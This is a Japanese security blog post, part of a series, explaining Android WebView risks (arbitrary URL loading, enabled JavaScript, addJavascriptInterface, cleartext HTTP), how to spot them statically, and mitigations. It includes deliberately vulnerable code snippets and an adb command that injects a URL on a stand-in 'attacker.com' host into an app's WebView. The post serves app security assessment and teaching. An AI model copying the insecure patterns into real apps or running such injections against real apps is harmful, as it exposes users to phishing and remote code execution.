以下の内容はhttps://cysec148.hatenablog.com/entry/2025/07/29/213308より取得しました。


第21回:WebViewの使い方に潜むリスクと見つけ方

Hello there, ('ω')ノ

🌐 WebViewって何?

WebViewは、アプリの中でWebサイトを表示できる“小さなブラウザ”のようなものです。

たとえば:

  • アプリ内で商品ページを表示する
  • お問い合わせフォームやマニュアルを読み込む
  • HTMLで作られた動的UIをアプリ内に表示する

といった使い方がされます。


⚠️ なぜWebViewは危険になりやすいのか?

WebViewを安全に使うには、いくつかの注意点を守らなければなりません。 以下のような設定ミスがあると、攻撃者にとって都合の良い“裏口”になってしまいます。


【危険な使い方例】

パターン 内容 リスク
任意のURLを読み込める webView.loadUrl(getIntent().getStringExtra("url")) 任意Webサイトの読み込み → フィッシングやXSSの温床
JavaScriptが有効 webView.getSettings().setJavaScriptEnabled(true) 悪意のあるJS実行 → 情報抜き取りやファイルアクセス
JavaScriptインターフェースを使っている addJavascriptInterface() JSからネイティブ関数呼び出し → RCE(リモートコード実行)の可能性
HTTPSでなくHTTPを許可 android:usesCleartextTraffic="true" 通信の盗聴・改ざんが可能になる

🕵️ 脆弱性の見つけ方(静的解析編)

✅ MobSFやjadxでコードをチェック!

アプリのコードをjadxMobSFで見て、以下のような記述を探します。

例1:任意のURL読み込み

String url = getIntent().getStringExtra("url");
webView.loadUrl(url);

→ 外部からインテントでURLが渡される場合、攻撃者が用意した悪意あるWebページが読み込まれる恐れがあります。

例2:JavaScript有効+インターフェース追加

webView.getSettings().setJavaScriptEnabled(true);
webView.addJavascriptInterface(new MyJsBridge(), "bridge");

→ 攻撃者がJavaScriptを埋め込むことで、MyJsBridgeのメソッドを遠隔で呼び出される可能性があります。


🧪 実機での確認(動的解析編)

動的解析では、実際に意図しないURLを読み込ませたり、JavaScriptを実行して動作を観察します。

✅ DrozerやFridaを使った例

DrozerやADBを使って、インテント経由でURLを注入:

adb shell am start -n com.example.app/.WebViewActivity -e url http://attacker.com/malicious.html

→ WebViewにこのURLが表示されたら、外部から任意URLの操作が可能ということになります。


📋 診断でのチェックポイントまとめ

チェック項目 内容
任意URLを読み込めるコードがないか loadUrlに外部入力がそのまま渡っていないか
JavaScriptが有効かつ使用されているか JSによる不正操作の可能性を検討
addJavascriptInterfaceが使われているか どのメソッドが呼び出され得るか調査
HTTP通信を許可していないか usesCleartextTraffic の有無を確認

✅ 開発時の対策(安全にWebViewを使うには)

  • loadUrl() に外部入力を渡すときは ホワイトリストで検証する
  • JavaScriptは極力 無効化する(デフォルトはfalse)
  • addJavascriptInterface()絶対に信頼されたHTMLだけで使う
  • android:usesCleartextTraffic="false" を明示する

✅ まとめ

  • WebViewは便利だが、設定ミスがあると攻撃者にとって最高の踏み台になる
  • 静的解析では loadUrl()addJavascriptInterface() の使い方をチェック
  • 動的解析では、インテント経由で任意URLやJSが動くかどうかを確認しよう
  • 安全に使うには、「外部入力を受け取らない」「JavaScriptを極力使わない」が原則!

Best regards, (^^ゞ




以上の内容はhttps://cysec148.hatenablog.com/entry/2025/07/29/213308より取得しました。
このページはhttp://font.textar.tv/のウェブフォントを使用してます

不具合報告/要望等はこちらへお願いします。
モバイルやる夫Viewer Ver0.14